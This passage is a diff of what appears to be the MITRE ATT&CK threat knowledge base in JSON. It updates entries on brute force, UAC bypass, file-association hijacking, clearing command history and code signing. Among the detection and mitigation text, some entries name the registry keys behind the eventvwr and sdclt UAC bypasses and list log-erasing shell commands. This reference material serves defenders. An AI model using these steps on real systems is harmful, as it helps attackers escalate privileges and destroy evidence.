+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "persistence"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1176",
+                    "external_id": "T1176"
+                },
+                {
+                    "source_name": "Wikipedia Browser Extension",
+                    "description": "Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.",
+                    "url": "https://en.wikipedia.org/wiki/Browser%20extension"
+                },
+                {
+                    "source_name": "Chrome Extensions Definition",
+                    "description": "Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.",
+                    "url": "https://developer.chrome.com/extensions"
+                },
+                {
+                    "source_name": "Malicious Chrome Extension Numbers",
+                    "description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.",
+                    "url": "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf"
+                },
+                {
+                    "source_name": "Chrome Extension Crypto Miner",
+                    "description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.",
+                    "url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/"
+                },
+                {
+                    "source_name": "Banker Google Chrome Extension Steals Creds",
+                    "description": "Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.",
+                    "url": "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/"
+                },
+                {
+                    "source_name": "Catch All Chrome Extension",
+                    "description": "Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.",
+                    "url": "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)"
+                },
+                {
+                    "source_name": "Stantinko Botnet",
+                    "description": "Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.",
+                    "url": "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/"
+                },
+                {
+                    "source_name": "Chrome Extension C2 Malware",
+                    "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.",
+                    "url": "https://kjaer.io/extension-malware/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Justin Warner, ICEBRG"
+            ],
+            "x_mitre_data_sources": [
+                "Network protocol analysis",
+                "Packet capture",
+                "System calls",
+                "Process use of network",
+                "Process monitoring",
+                "Browser extensions"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
+            ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
+            ]
+        },
         {
             "type": "course-of-action",
             "id": "course-of-action--4a99fecc-680b-448e-8fe7-8144c60d272c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Brute Force Mitigation",
             "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Use multifactor authentication. Follow best practices for mitigating access to Valid Accounts",
             "external_references": [
@@ -1465,9 +1549,9 @@
             "id": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:22.767Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Brute Force",
-            "description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\nCredential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)\n\nAdversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nA related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nDetection: It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. \n\nMonitor authentication logs for system and application login failures of Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\n\nAlso monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: John Strand",
+            "description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\nCredential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)\n\nAdversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nA related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nDetection: It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. \n\nMonitor authentication logs for system and application login failures of Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\n\nAlso monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: John Strand",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -1509,29 +1593,17 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Bypass User Account Control Mitigation",
             "description": "Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as DLL Search Order Hijacking. \n\nCheck for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)",
             "external_references": [
@@ -1552,9 +1624,9 @@
             "id": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:07.462Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Bypass User Account Control",
-            "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)\n\nDetection: There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of DLL Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings.  For example:\n\n* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command</code> Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe</code> and <code>[HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand</code> Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.\n\nPlatforms: Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows 10\n\nData Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters\n\nEffective Permissions: Administrator\n\nDefense Bypassed: Windows User Account Control\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak, Casey Smith",
+            "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)\n\nDetection: There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of Process Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings.  For example:\n\n* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command</code> Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe</code> and <code>[HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand</code> Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.\n\nPlatforms: Windows\n\nData Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters\n\nEffective Permissions: Administrator\n\nDefense Bypassed: Windows User Account Control\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak, Casey Smith",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -1646,21 +1718,15 @@
                 "Windows User Account Control"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2012",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Change Default File Association Mitigation",
             "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -1706,9 +1772,9 @@
             "id": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:42.222Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Change Default File Association",
-            "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access. (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nDetection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under <code> [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak",
+            "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access. (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command</code>. For example:\n*<code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n*<code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n*<code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to execute arbitrary commands.\n\nDetection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under <code> [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -1736,7 +1802,8 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Stefan Kanthak"
+                "Stefan Kanthak",
+                "Travis Smith, Tripwire"
             ],
             "x_mitre_data_sources": [
                 "Windows Registry",
@@ -1749,26 +1816,15 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--3e7018e9-7389-48e7-9208-0bdbcbba9483",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Clear Command History Mitigation",
             "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files. Additionally, making these environment variables readonly can make sure that the history is preserved   (Citation: Securing bash history).",
             "external_references": [
@@ -1788,9 +1844,9 @@
             "id": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Clear Command History",
-            "description": "macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.\n\nDetection: User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the <code>~/.bash_history</code> file are indicators of suspicious activity.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Authentication logs, File monitoring\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User",
+            "description": "macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.\n\nDetection: User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the <code>~/.bash_history</code> file are indicators of suspicious activity.\n\nPlatforms: Linux, macOS\n\nData Sources: Authentication logs, File monitoring\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -1815,21 +1871,20 @@
                 "Log analysis",
                 "Host forensic analysis"
             ],
-            "x_mitre_permissions_required": [
-                "User"
-            ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--19edfa02-1a5f-47e4-ad82-3288f57f64cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Clipboard Data Mitigation",
             "description": "Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -1870,9 +1925,9 @@
             "id": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:25.967Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Clipboard Data",
-            "description": "Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. \n\n===Windows===\n\nApplications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) \n\n===Mac===\n\nOSX provides a native command, <code>pbpaste</code>, to grab clipboard contents  (Citation: Operating with EmPyre).\n\nDetection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: API monitoring",
+            "description": "Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. \n\n===Windows===\n\nApplications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) \n\n===Mac===\n\nOSX provides a native command, <code>pbpaste</code>, to grab clipboard contents  (Citation: Operating with EmPyre).\n\nDetection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -1903,29 +1958,17 @@
                 "API monitoring"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--82fbc58b-171d-4a2d-9a20-c6b2a716bd08",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Code Signing Mitigation",
             "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)",
             "external_references": [
@@ -1937,7 +1980,7 @@
                 {
                     "source_name": "Securelist Digital Certificates",
                     "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
-                    "url": "https://securelist.com/blog/security-policies/68593/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/"
+                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
                 },
                 {
                     "source_name": "NSA MS AppLocker",
@@ -1956,9 +1999,9 @@
             "id": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:26.474Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Code Signing",
-            "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and MacOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.\n\nDetection: Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.\n\nPlatforms: MacOS, OS X, Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Windows User Account Control",
+            "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.\n\nDetection: Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.\n\nPlatforms: Windows, macOS\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Windows User Account Control",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -1984,7 +2027,7 @@
                 {
                     "source_name": "Securelist Digital Certificates",
                     "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
-                    "url": "https://securelist.com/blog/security-policies/68593/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/"
+                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
                 },
                 {
                     "source_name": "Symantec Digital Certificates",
@@ -1999,20 +2042,8 @@
                 "Binary file metadata"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X",
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Windows",
+                "macOS"
             ],
             "x_mitre_defense_bypassed": [
                 "Windows User Account Control"
@@ -2022,8 +2053,8 @@
             "type": "course-of-action",
             "id": "course-of-action--f28a20fd-d173-4603-807e-2cb3f51bdf04",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
